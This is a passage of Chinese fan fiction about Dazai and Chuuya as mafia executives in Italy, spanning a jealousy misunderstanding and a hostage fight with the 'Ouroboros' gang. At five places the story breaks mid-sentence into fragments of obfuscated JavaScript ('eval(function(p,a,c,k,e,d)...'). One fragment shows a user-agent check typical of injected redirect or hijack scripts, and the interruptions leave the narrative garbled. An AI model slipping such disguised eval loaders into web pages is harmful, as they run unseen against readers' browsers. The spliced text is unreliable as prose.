阿呆鸟咂舌,虽然明知道中也论武力能打好几个太宰,但自己看着长大的小孩那就是跟别人家孩子不一样,滤镜深到总觉得中也会被骗。 可那俩亲都亲了,虽然不知道什么时候在一起的,但,但—— 他呼吸乱想脑补了好几版中也被骗的裤衩子都不剩的画面后,有人轻轻敲了一下车窗,一扭头,那张在他脑海里痛哭流涕悔恨不已的脸正一副看弱智的神情看着他,是中也来了。 还带着那个横看竖看怎么看都不顺眼的太宰治。 中也熟门熟路打开车门,让太宰先上去,关好车门后,条件反射似的先伸手帮太宰系好安全带,之后中也做回自己位置还没三秒,太宰又跟个牛皮糖一样凑上去,手掩着嘴唇靠近中也耳朵,低声不知道说了什么话,逗得中也笑出声,嘴角就没有下去过。 阿呆鸟借着后视镜把一切看在眼里,被这股子恋爱的酸臭味熏得脸都要皱成苦瓜,啪一下关掉摇滚乐。 两人旁若无人的交谈声传入耳中。 “中也中也,你看路边那两个人的衣服跟我们好像啊。” “嗯?是吗,颜色好像是有点像,一个蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不知道中也说了什么,太宰站起身,丢下一句“我想去洗手间”就走了出去,神色看起来不太开心。 刚一离开包间,面带微笑的服务生立刻笑着询问太宰需要什么帮助。 太宰轻笑一声,动作自然地带上耳机,对面前好心的服务生道:“去洗手间,麻烦了。” 服务生在前面领路,太宰步子慢悠悠跟着,时刻注意着耳机里的动静。 滋滋两声电流音后,包间里的对话声清晰传来,首先开口的是个热情的男声:“哎,中也,你跟太宰什么时候谈的恋爱,不容易啊,二十六岁大龄钻石王老五终于铁树开花了,怎么还吃窝边草?” 优雅低沉如大提琴音的诧异男声在耳机里响起,太宰呼吸停滞一瞬。 “……哈,你这混蛋在说什么啊,我跟太宰谈恋爱,你疯了吗?” “诶!等等,等等等等,你跟太宰没谈恋爱,那我今天中午去找你,还撞见你和太宰在……就是‘啵’,那样,你能明白吗?” 21.结果 包间里,阿呆鸟正在喋喋不休输出。 “不是吧中也,你跟太宰完全就是在恋爱吧!不是恋人怎么可能天天睡在一张床上,他又不是什么还没断奶的小孩子,离开人一刻都活不了,你们都那个,那样了!!!还不是在谈恋爱,中也,哎呀,你对自己的事情多少也上点心!” 总觉得阿呆鸟的语气里有股子恨铁不成钢的味道,仿佛他是什么柔弱善良需要被保护起来的小公主一样。 中也被自己的想法恶心得打了个寒颤,怒而拍桌就要反驳:“你是白痴吗!少把我当什么需要保护的柔弱公主了,那种事情怎么可能!我可不是那种人!” 对中也而言,这简直无妄之灾,居然会被朋友怀疑他和太宰的关系。太宰那人除了脸长得好看一点,根本不是适合恋爱的对象,和‘贤妻良母’四个字更是完全扯不上关系,完全不符合中也质朴的择偶观。谁要是把这么个人娶回家那简直倒了八辈子血霉,属于是祖宗知道了这门婚事当天祖坟就能爆炸那种级别。 中也无力道:“收收你那些可怕的奇思妙想吧,……我跟太宰的关系很复杂,唯独可以肯定和爱人扯不上关系。我和他好歹相伴六年,知道那家伙是个什么样的人,就算退一万步来讲,我那天真特么基因突变喜欢上男人,那人也不可能是太宰啊!” 说完,他目光炯炯瞪着阿呆鸟。 中也的语气太过斩钉截铁,话里也没有一丝旖旎,阿呆鸟觉得自己或许真是误会他们,但总觉得不太对劲,他思来想去,猝然瞥见中也嘴上细小的伤口,开口道:“那今天中午,太宰和你,在办公室是在亲嘴吧?我赌上我男人的自尊,这总不能是我看错了!!你嘴上还有伤口哦!!” 一语出,气氛诡异地安静下来。 一直没参与这场争执的外交官淡定喝了一口茶,在桌子底下轻轻踢了阿呆鸟一下,示意他少说点话,借着露出看透一切的笑容:“好了好了,菜也快上齐了,话说太宰怎么去了那么久还没回来,不用去看看吗?” 非常明显的一个台阶,是要转移话题不在谈这件事的意思。 中也却似乎没有领会外交官的好意,露出一个不知道该怎么说的为难表情:“这个,也许是我外出行动的时候不小心受得伤。” 两人一脸无语地望着中也,看他表情就知道这种鬼话中也自己都没有相信。 中也搬出一套万能说辞:“太宰他,年纪还小吧,总之,总之,之后我会跟他讲讲。” 嘚,残暴冷血黑手党背后的真实身份竟然是溺爱熊孩子的家长,像是那种小时候天天在网上问自家孩子能不能当童模,长大了会天天把他只是个孩子你们让让他挂在嘴边的样子。 更何况中也溺爱的熊孩子还是太宰治,更好笑了,虽然太宰是个杀的人比吃的饭还多,十七岁就能当上港\黑干部的黑手党,但是他可是个连爱都不懂的需要闭眼溺爱的小孩啊! 阿呆鸟默默给自己倒了一杯酒,一饮而尽后,瞥见外交官“你看我就说了吧肯定会是这样”的眼神,无声叹了一口气,垂死挣扎道:“也就你觉得他还是个小孩了,他可比你想的要厉害得多。” 外交官踹他一脚,面不改色道:“中也说的也有道理,毕竟还是个十七岁的小孩,不懂的事你教教他就行。” 包间的门口传来一阵熟悉的脚步声,三人默契地扯开话题。 中也:“这个酒还挺不错的哈哈!” 阿呆鸟:“是啊,这个酒真的跟酒的味道一模一样哈哈哈哈!” 脚步声渐渐靠近,人来没见到,太宰带笑的声音已经传来:“我不在,你们聊什么那么开心呢?带我一个吧。” 一双熟悉的冰凉的手从后面握住中也的肩膀,因为刚才的对话,再次面对太宰突然的触碰,中也心里总觉得有点奇怪,身体僵硬一瞬。 身后人握住他肩膀的手无意识用力,又慢慢放松,太宰的脸凑在中也脸颊处,近到呼吸时候吐出的气息都喷在脸上,而太宰似乎丝毫不觉得这样的距离有什么不对,懵懂的眼瞳直勾勾盯着中也钴蓝色的眼,温声细语道:“是在讨论酒吗?我好像听见中也说这里的酒很不错,我可以尝尝吗?中也~” 说话时,他的视线似有若无落在中也被酒液浸染上水光的唇上,说话语气缱绻如情人间呢喃。 以前中也不觉得有什么,他俩相处起来经常没什么分寸感和距离感可言,但现在中也心神不宁,被太宰呼吸扰得只觉得半边脸都都酥麻起来,嘴上刻意被忽视的细小伤口似乎也开始隐隐作痛,提醒着太宰治胆大包天对他图谋不轨。 身体里的警报被无意识拉响,中也思绪还没反应过来,已经一巴掌打在太宰脸上。 “啪”一声清亮脆响,太宰半边脸被扇偏过去,下意识伸手捂住脸,久久没回头。 这一巴掌听起来响,但中也面对太宰时早就习惯了收着力道,这次更是连万分之一的力气都没用,他敢肯定太宰脸上肯定连个印子都没有,没道理停顿这么久啊? 中也被这一声吓清醒了,下意识担忧地看着太宰,想要问问他怎么样。 “真是的,好过分哦中也。”太宰带着嗔怨的声音传来,“不让喝酒就不让喝酒嘛,干嘛那么生气,真是完全不讲道理的暴力蛞蝓!” 他一边说,一边拉开中也身旁的椅子,仿佛刚才只是一件再小不过的事,他丝毫没有放在心上,甚至嘴角还挂着淡淡的微笑。 接着,他习惯性单手支着下巴,挑眉对中也道:“怎么?小狗生气了就不伺候主人了,还是说只是一个月没见笨蛋中也就忘了怎么拆螃蟹,要我手把手再教一遍吗?” 中也下意识抬脚就踹,怒道:“滚吧你,在外面不许给我提这些啊混蛋!” 太宰熟练躲过,顺手丢给他一只被捆好的螃蟹,不偏不倚落在中也手里,中也瞪了他一眼,还真开始老老实实拆螃蟹。 阿呆鸟和外交官目瞪口呆,叹为观止。 一切就如同往常一样,吵架时的脾气来的快去的也快,太宰一举一动都非常正常,但中也的直觉告诉他太宰此时不对劲,十分有十二分的不对劲,一顿饭就在中也默默注意着太宰的动作中食不知味地结束了。 离开餐厅时,阿呆鸟提议带着中也太宰一起回去,夜里凉风一吹,中也清醒不少,觉得不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路灯惨白的光自后上方落下来,太宰整个人背着光,那只鸢色眼睛平时总带着笑,此时却只能看见一片漆黑,比世界上一切黑色都要黑,嘴角上扬的弧度很浅,比起微笑更能传达的是嘲讽或者蔑视,掰着下巴的那只手往下,捏住赭色发尾。 他的语气轻灵如风的精灵:“对啊,过马路就是要中也牵着哦,这不是从我十二岁到现在都没有变过的事情嘛。倒是中也,为什么总是像只没脑子的蛞蝓一样笨,连怎么讨好主人都忘了吗?” 他身上流露出的气息非常危险,眼神病态地在中也颈侧逡巡,似乎只要中也说一句“忘了”,那只还在温柔把玩发尾的手立马就能死死绞住中也修长脆弱的脖颈,带给他窒息的感觉。 这种时不时冒黑泥的状态中也见怪不怪,冷笑一声啪一下打开他的手,双手插在口袋里,拐了个弯走上回家的路,心里想着去他的吧对这么个玩意还要处心积虑考虑怎么不伤害他的自尊心,再不让他滚远点他马上就要骑到自己脸上作福作威了。 中也把刚才那一肚子弯弯绕绕扔个干净,语气强硬不容拒绝:“你那些邪门歪理省着点吧,十七岁又不是七岁,没道理我要牵着你过一辈子马路。是我太纵容你了吗,对我也敢用那些撩姑娘的手段,再有下次我就把你的头拧下来,唔,还有,今晚抱着被子滚去另一间屋子睡,知道吗?” 22.态度 中也迈开步子走出去,耳朵却注意着身后的动静,六步之后,身后依旧没有传来熟悉的脚步声,他在心里叹了一口气,回头望着身后的人:“磨蹭什么,生起气来家也不回了?” 身后的人依旧没吱声,那双刚才还小心试探他心意的手此刻乖乖巧巧放在大衣口袋里,像是满怀期待准备春游的小学生被亲近的大人骂了一通,委屈而想不通理由,只好把自己藏起来免得再惹人生气。 两人隔着六步的距离,光与影的分界线却在这之间泾渭分明,被留在黑暗里的太宰自顾自低着头,那件孔雀蓝的大衣此时灰扑扑如同求偶失败的孔雀,高傲的头颅也低下来。 看起来好像很难过,不会哭了吧,中也想。 过了一个世纪那么长,太宰慢吞吞的声音终于响起,听不出是难过还是生气,依旧温声细语:“没有生气,都已经十七岁了,要是生气还让人哄又该让中也看不起了吧。明明掰着手指头数过,和中也这样真实地陪在彼此身边的日子还没有一百天,忘了电话里的日子也算数。” 夜里的凉风在两人身边卷过,黑色的发丝在风中翻飞,露出那只温柔专注地盯着中也的眼睛。是不一样了,他记忆里那只鸢色眼睛线条圆而钝,高兴的时候弯成月牙惊讶的时候就睁得圆圆的,不开心了长长睫毛会垂下来遮住神色,隔了六年,圆钝的线条变得锋利,显出他今日才注意到的青年的轮廓,面对他时也学会了隐藏喜怒。 唯一不变的是盯着他的目光,六年如一日的专注,仿佛一道被设置好的程序一样,只要中原中也这个人一出现,那太宰治所有的目光都会落在他身上。 这样的目光真是比战场上如雨一样的子弹还让人难以承受,干部大人溃不成军,节节败退,活像是吞了一整个柠檬,心里一半羞愧一半酸楚,合起来就是个手足无措。 中也脖子都要涨红了,硬着头皮道:“总之…你,我,少说这些有的没得了,先回家再说!” 不管怎么说,态度比之之前缓和了一点,太宰没有接着扯什么鬼话,三两步走到中也身边,刻意和中也维持着合适的距离,微笑道:“好哦,我们先回家吧。” 中也胡乱“嗯”了一声算作回应,不久前才筑起的防线又被太宰一句话搅得天翻地覆,搜肠刮肚想要讲些合适的话,憋了一路也不知道怎么开口,而平时只要和中也在一起就喋喋不休的太宰也莫名沉默。 一路上两人都隔着不远不近的距离,唯独影子没什么顾及,亲昵地交叠在一起。 - 回到家中,中也的语言系统仿佛全线崩溃,全程沉默地洗漱,到了吹头发的时候,中也忽然想起上次的承诺。 好像是答应了太宰,让他给自己吹一次头发来着。 他偷偷瞄了一眼正在客厅沙发上坐着的太宰,对方似有所感,也朝他看了一眼,吓得中也连忙转移视线。 以前总当太宰还是小孩,一些过于亲昵的动作从不当一回事,今天再看,猛然发现对方早就是个比他还高一个头的青年,那只正握着书的手宽大修长,用力时手背青色血管凸显,光是想想这样一双苍白有力的手插进发间帮他细细按摩头皮,手指和赭色发丝不分你我缠绕在一起…… 中也打断思绪,觉得再想下去自己就要变成一个绝望的男同了。 他“啪”一下打开吹风机,将热风开到最大,也懒得在意什么发型不发型,只想赶紧把头发吹干好去睡觉,把头像鸵鸟一样埋在被子里。 吹风机细碎声响里,中也清晰地听见书本合上的声音,接着是某人趿拉着拖鞋向他靠近的脚步声。 心里虽然七上八下,但表面上中也还是颇有气势乜他一眼,问道:“怎么了,有话要说?” “这句话该我问中也才对吧!”太宰声音似乎有点委屈,小声问完这句,没等到回答,接着扯开话题道,“我睡不惯那个房间的被子,想跟你换换。” 原来是这种小事。 中也放下吹风机,拿捏着脾气朝他笑了笑:“行了行了,这种小事你开心就好,你去我屋里睡吧。” 撂下这句,中也随手拨了两下发尾,摸到一点湿意,还没吹干,但他懒得再弄,只想赶紧回去,下意识迈步朝着自己的房间时,又想起来刚才的约定,脚步一拐就进了旁边的房间。 走到床头,拉开昏黄的夜灯,明明身体已经很疲惫,脑海里却还是没有一点困意,中也单手撑着床坐下,重重叹了一口气。 “为什么要叹气,中也?” 太宰悄无声息站在门口,十分不客气地迈步进来,中也还没来得及问你来干嘛,就听见“咔哒”一声,门被反锁了。 中也脱口而出质问:“你过来干嘛?还敢把门反锁了!胆子不小啊!” “胆子其实很小哦。”太宰面无表情歪头道,“是中也有话一直不说吧,还总是做一些奇怪的事情,连和我的约定都忘了,作为主人,看见自己的狗狗这样可是很害怕的。” 室内灯光昏暗,靠在门口的太宰瘦而高挑,无光的瞳孔和没有表情的脸相得益彰,往那一站就是个活生生来索命的男鬼。 中也几乎是本能地竖起寒毛,嗤笑:“你来问我讨个说法,怎么不问问你自己做了什么?” “哦,是吗?”太宰靠在门上的姿势没变,将重心换到另一条腿上,“我还真不知道自己又做了什么让中也不高兴的事?中也看见了吗?有证据吗?没有证据都算污蔑哦,法律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又是这样! 这么大了一点长进都没有,一难过就什么话都往外说,揭自己的伤疤戳对方心窝子,伤敌一千自损一万,过会又要找个地方藏起来掉眼泪等着人去哄。 但这回本来就是太宰先越雷池,总要让他知道自己的态度。 中也打定主意不管他,又烦躁地翻了个身,无可奈何地承认,就算理智知道自己做的没错,心里却开心不起来。 自己到底干什么让太宰误会的事了,难道说太宰以为自己把他带回来是当童养夫的?自己有那么禽兽吗?! 中也痛苦地把自己埋在被子里,想了一晚上没想明白他到底对太宰干什么了。 23.失踪 第二天,中也顶着两个黑眼圈打开房门,屋子里静悄悄的,完全感受不到另一个人存在的气息。 隔壁房门紧闭,中也瞥了一眼,收回视线,去厨房准备了两份鸡蛋香肠生菜三明治,两杯冰咖啡,其中一杯熟练地放了很多糖和奶精。 其实他一点都不想管,但某人从小在吃饭这方面就吹毛求疵,他在的时候还能看着点,后来他来西部出差,两人更多时候是隔着电话交流,很多方面照顾不到,太宰三天能饿自己九顿,人瞧着很大一个,胃病发作的时候就只能躺在床上缩成一团,额发被冷汗打湿贴在脸上,剩下那点力气全用来和他打电话撒娇。 嘚,别到时候再写上几本充满了对他的怨言的日记,抱怨的话摞起来比他都高! 中也认命地走到紧闭的门前,耐着性子准备敲两下,手还没放上去,门自己打开了。 门后站着个和他穿着蓝色毛茸茸睡衣的青年,衣服上的橘子图案直直撞进中也眼里,看起来十分甜美多汁,让人想要不客气地咬上一口。 “咳咳——”中也战术性清嗓,默默收回手,干巴巴道,“早饭在厨房,饿了自己滚去吃。” “不饿。”太宰声音平静,“气都气饱了,我现在一点都不饿。” “……哈,你还有脸生气?”中也讥笑,“我看你是还没想明白,不吃拉倒,滚回屋里再反省反省!” “中也。” 中也挑眉,甩给他一个“叫我干嘛有屁快放”的眼神。 “没什么要反省的,我没做错,我只是遵从自己的内心,不管是在中也看得见的地方还是看不见的地方我都做了许多,从一而终做一件事——倒是中也你,”太宰突然弯腰凑得非常近,和中也面对面,“为什么和我说话都不敢看着我都眼睛,中也是在害怕我吗?其实就算是你也不得不承认,我在你心里……” 突然的靠近吓了中也一大跳,反应过来之后中也大骂“滚滚滚”,一把把他推回屋里,门用力合上时发出嘭得巨响,完美掩盖住急促的心跳。 吓死了,还以为太宰丧心病狂到准备直接亲他一口,要真是这样,他非把那小子头给拧下来! - 首次交战,大获全败,干部大人飞也似地骑着机车来到黑手党总部。 踏进大厅时,收获了一路问好,中也登上专属电梯准备去办公室处理文件,忽然想起来办公室发生过的糟心事,摁电梯的手顿住,几秒之后,一个人影踏进来,摁下“15”. 中也余光看见熟悉的白西装衣摆,扯出笑打招呼:“哥,早上好,看起来心情不错嘛!” 魏尔伦掏出怀表看了一眼,道:“比平时早了五分钟来公司,心情还那么差,你家那个麻烦精还没哄好吗?” 话题怎么又扯到太宰身上了。 中也搓了一把脸,无奈道:“哥,别提他了,哦对,上次埃德蒙多说的那个卧底是怎么回事?” 提到正事,魏尔伦神色严肃道:“审讯过了,人还在水牢关着。他并不是西西里黑手党的成员,而是隶属于【衔尾蛇】组织。” 意大利这边称得上是黑手党起源地,各种势力错综复杂,□□帮派更是多如过江之鲫。前几年为了争取地盘和利益,中也和魏尔伦几乎每天都活在暴力与死亡的中心,睡梦中的呼吸都带着血腥气息,其中最为棘手的就是这个名为【衔尾蛇】的帮派。 中也神色变幻:“真是阴魂不散,可恶,早知道一年前我就该直接对他们下死手。不过他们的老巢和主力军都已经被摧毁,如今也只是落水狗罢了!” 魏尔伦单手摁住他的肩膀:“弟弟,别冲动,上次大战你单枪匹马挑战他们整个组织,虽然摧毁了主力,但你也身受重伤在床上躺了半个月。而且【衔尾蛇】的那位首领还没落网,休整一年也该恢复了一点元气,接下来很可能会迎来疯狂的报复,要多加小心!” 提到那位首领,中也脑海中立马浮现出一张惨白冰凉的人脸,说话语气粘腻像是毒蛇吐信,名字不知,代号为“O”,异能力与毒有关。 “O”整个人宛如一株带有麻醉效果的植物,只要靠近到就仿佛被注射了依托咪酯注射液,虽然不致死但会立即晕过去,上次交锋时,中也明明记得已经将子弹射进对方眉心,却还是在生死一霎间中了异能,那次可以称得上中也离死亡最近的一次。 最后还是魏尔伦带着Mafia部下及时赶到,拼尽全力救下中也,即使如此,那场战斗力还是不可避免死了很多人。 中也闭上眼睛,呼吸颤抖,似乎又回到那天——鲜血流淌在面颊、胸膛,然后洇进寒冷的土地,断臂残肢被绞成烂肉糊在地面,惨叫声如海浪一样一场比一场惨烈——他死死握住掌心才压制住那股恨意,咬牙切齿:“有探测到具体位置吗,伤害家人的人,都要被重力碾碎!” 魏尔伦摁住他肩膀的手用力,安慰道:“冷静一点,冲动的性格往往导致暗杀失败。我们目前虽然没有掌握【衔尾蛇】确切的踪迹,但上次的军/火交易事件中可有他们的手笔,前来协助的干部已经埋下陷阱,我们要轻轻地、温柔地、然后一击毙命。” “等等,等等等等……”中也越听越困惑,上次的军/火交易他可是跟了全程,他可不知道有什么前来协助的干部,“什么前来协助的干部,兰波大哥吗?!我怎么不知道?” 魏尔伦比他还疑惑:“你跟太宰住在一起,他居然从没跟你说过吗,那次军/火失窃后追回,你负责疏通港口上下关系,和政府人员谈判都是他安排的。” 中也想起来了,怪不得那次出差结束后太宰就在办公室等着自己,当时情况太着急,他没来得及给太宰办个临时的身份证明,而没有Mafia成员的身份证明,早就在靠近大楼的时候就被枪阵扫射了。 其实还有很多蛛丝马迹,都表明太宰就是那个他想要见上一面的新干部。 中也不可置信地瞪大眼睛,明明答案已经摆在眼前,他仍然想要选择无视,但魏尔伦显然没读懂他的言外之意,疑惑道:“那小子居然没跟你说,不过我也是前几天才知道他就是那位新干部的,嗯,为了你居然十七岁就能当上干部,算他还有点自知之明,不会拖你后腿。” 中也觉得自己心上被狠狠扎了两刀,一刀叫“太宰那混蛋居然是干部!”,另一刀叫“为了你”,捅得他失去思考能力,连愤怒都找不到正当理由。 毕竟人家已经说了,加入黑手党当干部都是为了了解你靠近你。 这特么简直就是道德绑架,一点道理都不讲那种! 越是心慌愤怒越是要强迫自己冷静,中也抬头认真看着魏尔伦,道:“那混蛋还说什么了,他的计划是什么? ……算了我自己问他。” 中也掏出手机摁下拨号键,忍着担心和怒气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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里面的内容他读过,都是些无聊的小事,什么他打电话的次数比太宰少啦,他居然没说晚安就挂太宰电话啦,他晚饭居然没有做太宰想吃的菜啦…… 不过太宰那混蛋居然放在这,肯定是有什么线索。 中也拿起那本封面上幼稚地写着“黑暗之诅咒”的日记本,一目十行扫过去。 - x年x月xx日 狗丢了,不带我……森先生说要当上干部才能去……狗坏死了……最讨厌…… x年x月xx日 中也回来啦,唉家里空气好不容易才清新一点,……一股狗味好讨厌。 x年x月xx日 中也走了,空气真清新啊,唔,除了小狗留下的外套还带着一股狗味……外套也没有味道了。 x年x月xx日 不想当干部,不过终于能去找狗了…… - 日记详略得当,凡是中也在家的日记都配上照片,洋洋洒洒写了一大篇,而中也不在的日子就三两笔带过。 黑手党日常一点没提,写道森先生则是通篇抱怨,仿佛中也不在的日子多么乏善可陈。 翻到最后,是一张手绘的地图,十分有太宰的风格,右上角还画了一条衔尾蛇,还有一句小小的,藏在角落里的四个字—— 不要生气。 中也气笑了,好得很啊,一环套一环,他还没去找太宰算账,对方已经给他打了一套感情牌,人还自投罗网到敌人手里生死未卜。 这王八蛋,一不高兴就拿自己的命开玩笑! 24.对线 一处废弃旧工厂。 这地方看上去像是上世纪的产物,前身或许是某化工厂,各种玻璃仪器的碎片散落在工厂各处,又被蛛网和灰尘掩埋,空气中弥漫着令人作呕的腐烂气息,或许是木头,或许是尸体。从外部看,整个工厂是用锈迹斑斑的铁皮造就,脆弱的像是一拳上去就能令整座工厂轰然倒塌。 不过这地方早就变成了居民生活垃圾堆,到处流淌着粘腻恶臭的不明液体,没有任何生物愿意光临,除了蟑螂和老鼠。 “老大,人带来了!” 废弃工厂后门处,一队全副武装的人马站在隐秘小路上,为首的带着面罩的男人正通过对讲机和某人联络。 “知道了,带进来吧,身上东西都摘干净了吗?” “检查过了,没有任何问题,人已经晕过去了。” 话音落后,锈迹斑斑的铁门打开一个缝隙,踏进工厂后,面前布满垃圾与尘埃的地板向两边平移,露出一个幽深阴暗的通道。 领队的男人举起手,点了点晕过去的人质,立刻有人将人质五花大绑起来。 做完这一切后,几人顺着地道鱼贯而入。 - 一盆凉水兜头泼来,太宰被迫睁开眼,水滴顺着他的发丝缓缓滴落,黑色的外套和和里面的白衬衣也被打湿,紧紧贴合肌肉的轮廓。 太宰随意眨落眼睫上的水珠,轻笑一声:“真是粗鲁啊,这位尊贵的【衔尾蛇】首领大人。” 讲完这句,他不动声色扫了一眼周围环境,某处地下室,人员不多,配备的武器正是Mafia丢失的那一批。 他本人正被五花大绑扣押着,几把枪对着他的脑门,枪口警告似的往前怼了怼,告诫他不要轻举妄动。 正对面两米,主位上坐着一个看起来病入膏肓的男人,脸颊消瘦,眼底乌青,墨色长发和淡绿色竖瞳正随着笑声抖动,又带出一连串咳嗽。 “手下们不懂事,让您见笑了。快给我们最尊贵的合作伙伴松绑,上座,毕竟我们【衔尾蛇】帮派的发展可少不了太宰先生的助力呀!我心里可是一直很尊敬太宰君的。” 披上干净的毯子,捧着一杯热茶,太宰似乎很满意,有一搭没一搭开始和【衔尾蛇】的首领聊天:“欧先生,住在这里真的没问题吗,连一点光都看不见的地下,时间久了,就连老鼠也会受不了吧,啊抱歉抱歉,蛇应该是老鼠的天敌才对!” 代号为“O”,现在被叫做“欧先生”的男人完全不恼,微笑回答:“我觉得这地方倒还不错,不过,太宰君要是更喜欢Mafia那几栋大楼,我们也可以搬过去住几天。至于怎么搬过去,就全仰仗太宰君了。” “诶?仰仗我吗?我可是Mafia的干部,怎么会背叛组织帮你们啊,传出去会被人看不起的吧!”太宰把头靠在沙发靠背上,没骨头似的懒洋洋趴着,“不过,Mafia也是在太无聊了,如果欧先生的组织里有什么比他们有意思的东西,我会改变主意也说不定哦。” 欧先生看着披着毯子倚在沙发上的青年,一举一动都幼稚而可笑,但在一年前【衔尾蛇】和Mafia的那场大战元气大伤后,【衔尾蛇】曾偷渡海外,认识了这位在Mafia总部做事的干部大人,以“配置出世界上独一无二绝不会痛苦的自杀毒药”为交换,对方曾多次向他透露Mafia内部信息,帮助他们回到意大利建立根据地。 掩藏在无害外表下的是惊人的智慧和残暴的手段,同时只要给出对方想要的,那么对方就绝对是值得信赖的伙伴,欧先生这么评价太宰。 “说起来,太宰君不是一直在横滨就职,怎么突然来到意大利?” “啊~,欧先生连这个都不知道吗,唔,真是的,我可是一来意大利就联系你了哦,还给你帮了不少忙,你这么说可真让我伤心啊!” “好了好了,开个玩笑而已,和太宰君的交易我可是一直放在心上哦,聊了这么久,时间也该差不多了吧。” “是呢。” 两人同时微笑起来。 地面突然开始剧烈颤动,特殊金属铸就的地下室上传来巨物倒塌的声音,简直就像是山洪暴发一样,能够刺破耳膜的巨响一下接一下传来,全金属地下室不堪重负,顶端出现了一个小小的缝隙。 是有人用重力操纵,将整个废弃工厂的断壁压缩成锥形,狠狠地往下凿开,随着开口越来越大,砖瓦压缩而成的巨块如陨石一样从天而降,几名守卫甚至还来不及开枪就被砸得血肉模糊,惨叫如音乐一样此起彼伏。 电光石火间,欧先生猛地朝太宰扑去,用巧劲卸下他的双腿双臂后,一把匕首悄无声息抵上太宰的喉间。 剧烈疼痛下,太宰脸上布满冷汗,死亡当前,他还有空嘲笑:“真是一点道德都不讲啊欧先生,我记得我们好像是在合作来着?” 谁会跟黑手党将道德,说出去非叫人笑掉大牙! 欧先生心情很好回答:“合作?没有那回事哦,你只是我吸引重力使的人质罢了。啊,不过之前多谢你的帮助了,我会给你留个全尸的。” 巨响停止后,整个地下室上方已经被暴力破开,鼻尖除了烟尘还能闻到垃圾场独有的让人作呕的臭气,抬头就能看见灰蒙蒙的天。 一个浑身遍布红色能量流的人影站在高处俯瞰着他们,来人一身贴合身材的黑色三件套,外衣在狂风中猎猎翻飞,黑色面罩遮住容貌。 欧先生心情很好地打招呼:“好久不见,重力使,还是一如既往地暴力啊,不过,更迷人了呢!” 来人——中原中也十分暴躁地将脚边巨石踢下去,如炮弹一般发射到欧身边,轰隆一声后炸开碎石:“少说那些恶心的话了,地鼠,我今天来找你讨要我那些部下的命,你还是好好想想还不还得起吧!” “啊,重力使先生,劝你不要轻举妄动哦,毕竟我手上可是有人质的。” 欧先生依旧微笑,手上的匕首却已经在太宰脖颈上划出血线,再往下一分,就会有鲜血喷涌而出:“听说这位可是你们Mafia尊贵的干部哦,啊,你们选干部难道是看脸吗,真是国色天香到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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靠的更近后,除了自己的心跳,还能听见另一个人的心跳。 应该是太宰的吧,打过去的子弹在接触到脑门的瞬间用重力停下,只会留下浅浅的痕迹而不致死,不过那混蛋怎么还躺在地下装死呢,要不要踹他一脚。 中也打定主意踹他一脚,但身体比大脑更先意识到危险,下意识抬手格挡时,手套和衣袖间裸露的部分已经被一只手触碰到。 “O”的异能力生效,麻痹感透过手腕抵达全身,中也反应迅速向后翻滚,拉开安全距离,同时用力摁下面罩上的按钮,冰凉的针管插入脖颈,麻痹感又如潮水一样慢慢褪去。 异能可以在瞬间发动,但药物发挥作用却需要几秒的时间,这几秒的迟缓也够要命了。 "O"借着这几秒的时间用力扑到他面前,用力打掉他的面罩,一张阴森发青的脸在眼前放大,狞笑:“哎呀,惊慌失措的重力使可真是少见呢,就这么害怕我吗?求我的话,我可以让你死的痛快一点!” 对方的心跳在靠近后越发清晰,原来刚才听到的另一个人的心跳是属于“O”的! 那太宰呢?! 25.剖白 中毒之后,全身肌肉都疲软下来,对异能的控制能力也大幅下降。 中也偏头拉开和对方的距离,尽量避免皮肤接触,钴蓝色眼睛恶狠狠瞪着那双淡绿色竖瞳,手中匕首以肉眼观测不到的速度插进对方心口。 噗呲—— 鲜血飞溅,中也脸颊上多了些刺眼的红。 另一颗心脏慢慢停止跳动。 有用! 中也感觉到身体里的力量正在渐渐复苏,不动声色用重力操纵巨大的落石,准备把对方砸个稀巴烂,就算是蚯蚓也该死透了,除非对方细胞能无限分裂。 但不知道为什么,重力异能依然处于失控状态,对面已经没有心跳的“O”抬眼对他露出一个阴森的微笑,毫不在意地把那把匕首拔出来,鲜血再次喷溅到中也头上身上。 中也微微瞪大眼睛,眼疾手快一个飞踢将“O”手上的匕首踢出去。 匕首从“O”头上掠过,在空中划出完美弧度。 “啊,真讨厌,反应这么敏捷,不过,我杀人可从来不用刀哟!” “我管你用什么,反正不过是个死人,明明受了这么多致命伤——”说话间,中也转守为攻,不停地踢,踹,想尽一切办法逼着对方后退,“怎么还不去死!” “O”脸上依旧挂着从容的笑,似乎完全没有痛觉,像是主人在纵容一只坏脾气的小猫:“真是太骄傲了啊,重力使,居然连你对手的异能力都不了解,【衔尾蛇】可是生生不息的代表哦!” “闭嘴,吵死了蛇男!等着我把你脑袋拔下来吧!” 中也的攻势越来越激烈,纵然“O”小心闪避,还是难免受到重创,血越流越多,沿着两人行进的路径滴滴答答汇成河流,一时不查,中也一腿踢到他侧脸,他“哇”地吐出一口血。 真是很重的一脚,不过,这也正是他要的。 